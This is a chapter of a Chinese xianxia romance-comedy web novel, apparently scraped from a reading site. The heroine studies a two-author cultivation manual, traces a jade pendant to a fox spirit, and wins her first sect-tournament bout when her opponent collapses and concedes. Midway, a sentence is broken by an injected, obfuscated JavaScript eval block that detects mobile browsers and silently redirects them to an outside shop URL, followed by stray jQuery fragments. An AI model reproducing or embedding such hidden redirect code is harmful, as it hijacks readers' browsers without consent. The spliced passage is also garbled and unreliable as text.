27.《七情修仙道》与宗门大比

作品:《咸鱼今天也不想成仙

    第二十六章


    “狐狸精?”林棠棠眼中流过清澈的疑惑,下意识低头看向她的衣裳。


    衣袖处沾了几撮白色的毛。


    这是何时沾到的?林棠棠伸手捻起白毛,沉思。她从未遇到过灵兽啊?


    间酒指着她叫了起来,待在沈云渊臂弯里都老实了许多:“你看!我在怒炎山帮你和这个丑男人找线索,你竟然去找狐狸精!”


    “我没有哇酒酒。我根本没碰到过灵兽。”林棠棠耐心地解释着,半蹲下身子想抱间酒。


    “丑男人?”


    沈云渊清寒的声音响起,看向林棠棠:“那是哪位。”


    林棠棠举着那撮白毛,额间冒出丝丝细汗。


    间酒说什么也不愿意跳进林棠棠怀里,被逼无奈,林棠棠再一次起身,沐浴。


    等她擦着滴水的头发,却发现一人一猫已经趴在案上睡着了。


    林棠棠偏头,看向香炉中她点起的安神香,心头拂过一丝疑惑。


    墨扶风调制的安神香是好,可为何对她的用处远不如对沈云渊、甚至是上一秒还在发火的间酒呢?


    残年感应到了她的不解,软糯的语调中带了一丝嘲笑:“当然没用啦,你睡的觉太多了……墨扶风的安神香可是给长期不睡觉的人用的。”


    林棠棠:……


    她轻叹口气,将间酒从桌上抱起,顺着她的毛,一手拿起披风,给沉睡的沈云渊披上。


    沈云渊沉睡时,不近人情的寒气消散,长年累月没有情绪的眼睛闭上,睫毛低垂,倒显现出几分少年感。


    林棠棠盯着沈云渊的睡颜,呼吸一顿,手上的动作慢了半分。


    再怎么天才,卷王大人不过也只是个二十四岁的青年。


    可他偏偏要一意孤行,以卵击石。和魔尊硬碰硬。


    林棠棠眸光一沉,想到什么似的,翻找片刻,轻轻取出在拍卖会上买来的那本书——《七情修仙道》。


    她突然很想了解林魁,很想了解沈云渊的心结。


    林棠棠蹑手蹑脚爬回榻上,借着一盏微弱的烛光,翻起了这本陈旧的书。


    安神香清淡地萦绕在小小的客栈中。烛光映照着书中的字。


    书写的很有趣,比林棠棠在藏书阁里看到的那本通俗易懂。


    旭央的字暴躁潦草,甚至带着一丝叛逆的孩子气;林魁则不然,隽秀的字体工整,完美得无可挑剔。


    两位百年前的天才讲解着与“忧、思、哀、怒、喜、恐、惊”有关的功法口诀。


    口诀像是林魁和旭央自创的,旭央负责起名,林魁负责解释其作用。


    旭央的文化好像水平不高,起名主打一个简单粗暴。


    代表“思”的“好想你诀”:仔细思考五处和他/她的美好回忆,一边想,一边调动灵力。


    你就会得到已故之人的回音。


    这么神奇!


    林棠棠瞪大双眼,将书本举近。嘴里默念,将口诀记下。


    代表“喜”的“哈哈哈”诀:可以让对方瞬间忘掉一切情绪只剩喜悦,高兴到捧腹大笑。


    注:元婴修为以下均有效。


    代表怒的“火冒三丈”诀:可以瞬间激怒他人,让对方冲你破口大骂。


    注:慎用,因为骂得真的很难听。


    旭央还特地在“火冒三丈”诀旁边画了个巨大的红勾。


    代表恐的“吓死你”诀,和代表惊的“胆小鬼”诀……


    林棠棠透过书本,看到了个脾气暴躁的师弟,和完美温柔的大师兄。


    “你就宠他吧。”林棠棠呢喃,旭央再胡闹,林魁也能用幽默,温柔认真地解释每一句功法。


    这样的林魁,定是给那个孤僻的少年,点亮了一盏明灯。


    林棠棠下意识看向沈云渊的方向。


    什么师父带什么徒弟。林魁笔下的字里行间,都透着淡淡的人机感,和沈云渊相似,但不同。


    是一种近乎完美到神性的疏离。


    很快书便翻到最后一面。


    林魁柔和的语言从墨水中晕开,给这本看似完全不着调的书写着最深刻的结语:


    “七情六欲生八苦九难。离苦得乐,终究是苦。”


    隽秀的字体旁,一处极深的刻痕。仿佛是林魁犹豫很久才动笔写下的一句:


    “七情构成完整的人,修仙未必灭七情。”


    “可惜天地不仁以万物为刍狗,仙终究无情。”


    林魁字迹旁边画了一个巨大的红叉:狗屁天地!


    林棠棠看着噗嗤一声笑出来。


    她眉眼一弯,笑着笑着脸却皱了起来。林魁是遥不可及的神仙,可旭央字里行间孩子气的真性情反而更打动她。


    这样一个暴躁没城府的率真小师弟,百年后真的成为了亲手杀死师兄的魔尊吗?


    林棠棠默默合上了书,余光瞥见了沈云渊骨节分明的指节上,戴的那枚玉扳指。


    烛光摇曳下,扳指上烈阳花开得正盛。


    林棠棠合上双眼,脑海里蹦出另一种想法。如果魔尊是按照特定的顺序灭门,那以“怒”为核心的烈阳宗……


    不安一闪而过。在她心底泛起一丝涟漪,却很快消散。


    林棠棠这条咸鱼的大脑终于过载,负荷太重,需要休息。


    一阵风吹过,熄灭了烛光。咸鱼终于进入了梦乡。


    ·


    清早,林棠棠睁眼时间酒躺在她的身上,灰色的毛扎得她心痒痒的。


    她懒洋洋地揉着高贵的花溪小祖的爪子,对上了间酒睡眼朦胧的绿色眼睛。


    刚想将间酒抱起来吸两口,一道冰冷的目光落在她身上。林棠棠偏头,沈云渊正端坐在案前。不知道是不是林棠棠出现幻觉,总觉得沈云渊的嘴角上扬了一个像素点。


    冷峻的脸庞意外的柔和。


    窗外突然传来一声清脆的鸟鸣,一只碧绿色的小鸟嘴里叼着一封信,站在窗檐点着头敲,发出笃笃的声响。


    沈云渊起身,推开窗户,从小鸟口中取下信。缓缓展开,垂眸:“墨扶风说,宗门大比他已经替我们报好名了。”


    一块玉佩从信封中掉落。


    “他和幽琬琰昨日重返拍卖会,找到了这块掉落在地下室的玉佩。”


    沈云渊向床榻迈步,半蹲下身,给清醒了的咸鱼递上了信和玉佩。间酒却抢先一步抓过玉佩,放在掌中把玩,菱形的瞳孔收缩如针:


    “鱼鱼,这和你昨天身上的味道很像!”


    她抓过一缕林棠棠的青丝,林棠棠的脑袋和她毛茸茸的小脸凑在一块。林棠棠伸手接过玉佩,上面刻着水纹。有点土,莫名有点像那名油腻顶流宇叶的审美。


    她的指腹划过玉佩,感受到刻痕,猛地翻过玉佩。玉佩的背面竟然刻着字:宁儿。


    林棠棠一把搂过间酒:“酒酒上面是不是灵兽的气息?”


    间酒点了点头:“狐狸精。”


    林棠棠:“我正经问你话呢!”


    间酒:“这就是一只狐狸啊!”


    林棠棠揉着脑袋,仔细回想着昨日绑架后的场景。昨日捧起她的脸要审讯她是否还害过更多同伴的那名女子,她尖锐指甲划过脸颊的触感使林棠棠打了个哆嗦。


    林棠棠深吸一口气……那名女子极有可能是宇叶深爱的道侣——宁儿。


    “她不是失踪。”林棠棠喃喃,抬眸望向蹲在一旁平静的沈云渊的眼睛:“昨日绑架我的那名女子是烈阳宗的灵兽势力,他们厌恶人类对灵兽的不平等控制。”


    “酒酒。”她低头看向怀里的间酒:“你能不能陪我们去宗门大比!如果烈阳宗内部控制灵兽如此猖獗……”林棠棠看向沈云渊的眼睛里充满了坚定:“那宁儿一定会再次出现!找到她,我们也许就能发现烈阳宗的秘密。”


    梨棠的声音幽幽的在脑海里响起:“咸鱼你真的变了好多哦,从前你可是会嫌麻烦的。”


    林棠棠看着怀里的间酒,思绪飘回她还是个新时代躺平青年的日子。光鲜亮丽的动物表演背后,是动物刻进骨子里的恐惧与绝望,至于层出不穷的虐猫新闻……


    修士和灵兽,应该也是一样的道理。


    林棠棠伸手抹了把脸,跳下床榻,伸着懒腰打了个哈欠,小声对残念说道:“我怕麻烦啊,但是有些事,忍不了。”她终于开始认真思考宗门大比。


    宗门大比有个不成文的规定,被淘汰的选手不能继续留在场上观战。宗门大比初赛三日,组内五人轮流比赛,取前两名进入复赛。


    他们要组织宗门大比的继续,却苦于手中没有证据。若是进入复赛,他们便可更好的调查清楚真相。


    沈云渊自是不用担心,可是林棠棠……


    “卷王大人,宗门大比是何时?”林棠棠打起精神,眼中久违地燃起斗志。


    沈云渊的瞳孔映出咸鱼眼中高昂的火焰,垂眸摩挲着无忧剑的剑柄,嘴角的弧度不自觉的上扬。


    抬头,依旧面无表情。


    他将无忧剑放在膝上,向沉思的咸鱼伸出骨节分明的手,语气清冷,尾音跟着方才压下嘴角漾起波澜。


    “明日。”


    林棠棠的脸下意识垮了下去,这也太赶了。近几日都没有修炼……她莫名有些紧张,仿佛是期末考试前,她还没复习。


    却听到一声温柔的轻笑。沈云渊的手覆上林棠棠手腕。他缓缓解开腕间的玉环,声音平静如水:“我陪你。”


    沈云渊将灵力注入玉环,伸手拉开了柔和的同尘光。


    “沈云渊,我有点害怕……”林棠棠终于累的动不了,瘫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040060|192267||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    倒在客栈,脸皱成一团。沈云渊有着当老师的耐心,却不意味着林棠棠有好学生的能力。


    折腾了一天,她总算打开了玉环的新境界,能用同尘光保护自己了!勉勉强强能用玉环攻击……


    “输赢,不重要。”沈云渊垂眸,看向地上脱水的咸鱼,她害怕的声音一直在沈云渊脑袋里回想,心下意识纠紧:“至于烈阳宗的真相。”


    “我会护你周全。”


    不知何时,身旁躺着的咸鱼已经成为沈云渊生活的一部分。看着她蜷缩的姿势,陌生情绪堵在心头。沈云渊缓缓蹲下,将人轻轻抱起。


    拉下床幔的前一秒,沈云渊拂过纱帘,空气中传来一声轻叹。心口的闷不似受伤的疼,却使他更想握紧手中的剑。


    既然活着是她最大的目的,他手中的无忧剑,足以护她周全。


    ·


    “宗门大比第一场,贤芋山庄弟子林棠棠对上月明庄许茗夕。”烈阳宗弟子沉声,挥手向场上的二人致意。


    场上的观众将烈阳宗的竞技场围满,宗门大比盛会,是各个宗门门派暗自较劲,争高下的地方。出战弟子的实力代表着宗门的脸面。所谓天下有“七大宗门”,其实就是宗门大比上,天才最多,不同领域大佬汇聚的地方。


    观众最喜闻乐见的,还是宗门大比出黑马,炼气三期凭借智谋一路掀翻筑基大佬的故事。


    竞猜自然也是宗门大比不可缺少的活动,观众们观察几轮小组赛,大致便能看出欣赏谁,押宝进入复赛,甚至决赛的名单。每届举办大比的宗门都能从中捞到一大笔。


    怒炎山不正常的高温,养育了无数灵兽,其中自然少不了吸收天地灵力的蚊子。因此,烈阳宗还趁机向来观战的人群推销出去无数把清凉扇,和驱蚊水。


    观众们举着扇子遮挡阳光,眯起眼睛看向竞技场。几万道目光同时落下,似有千斤重。明显能感受到其中几道目光格外特殊。


    沈云渊曾向林棠棠介绍过,宗门大比,各门派的长老可能会潜伏在人群中,寻找有眼缘的弟子,趁机“挖墙脚”。


    也就是说,烈阳宗宗主旭央,此时也可能坐在观众席,看着这一场他精心打造的盛宴。宛如一条“毒蛇”,准备欣赏猎物们死前的表演。


    当然这个猜测,得建立在旭央确实是“十恶不赦”的魔尊的前提上。


    林棠棠咽了口口水,看向面前和她一样紧张的弟子。


    比赛前,她和沈云渊曾经细细了解过她这一组的对手。面前的月明庄弟子和林棠棠一样……是个炼气三期的菜鸡,武器是月明剑,剑修。细细看去,许茗夕小脸惨白,手中的月光剑微微颤抖,汗顺着脸颊流下。


    面前这个打着哈欠一脸不在乎的女弟子,该不会是什么隐藏大佬吧。


    许茗夕心里打鼓,手中的剑愈发拿不稳当。他胆子小,不想被人当活靶子,典型的“胸无大志”。


    他和林棠棠的心里同时飘过一句话:活着就好……


    “开始!”裁判的声音响起。林棠棠这条咸鱼从来都没有一次性承载过如此巨大的压力,连呼吸都有些卡顿。


    裁判一声令下,使林棠棠脑子中紧绷的神经“卡崩”一声断掉。


    她一瞬间忘记沈云渊教给她的功法口诀,闭上双眼豁出去一般冲上前去。手高高举起,拼命往日月同心环中注入灵力。日月同心环因为她不稳定的情绪猛地闪起红光,闪的面前的许茗夕眼睛疼。


    许茗夕吓得腿一软,扑通一声摔在地上。


    在许茗夕眼中,明明长相软萌的林棠棠此时宛若“杀神”一般,浑身上下透着与其修为不符的戾气。


    手上没了力气,连剑都举不起来。眼睛一闭,往后一躺。


    “我认输我认输!”


    场上瞬间一片寂静,每个人的脑子里都冒出大小不一的问号,下一秒场上嘘声一片。


    梨棠残念也在脑子里嘲笑:“嘿!咸鱼!对面有个比你还喜欢躺的,你看这个姿势是不是很眼熟。”


    林棠棠:……


    她长舒一口气,瞬间收回灵力。


    好累,跑两步有点喘不上气了。林棠棠伸手扇着风,嘴角勾起一抹狡黠的笑容,眼中闪着星星般闪亮,还有些“劫后余生”的喜悦。


    第一关也太容易了!


    残念在脑子里提醒:“师兄的比赛也要开始咯!”


    她提着裙摆,没有再看被人抬下去还在哭喊的许茗夕,冲竞技台下跑去。


    身后突然传来低沉的播音腔:“林弟子留步,第二场比赛还没比。”


    “你的对手,是我。”


    林棠棠回头,场上站着一个“矜贵”的修士,下颌线使劲凹出“锋利冷感”,眼尾硬要往上挑,却半眯着眼看人的……


    垃圾袋都没他能装。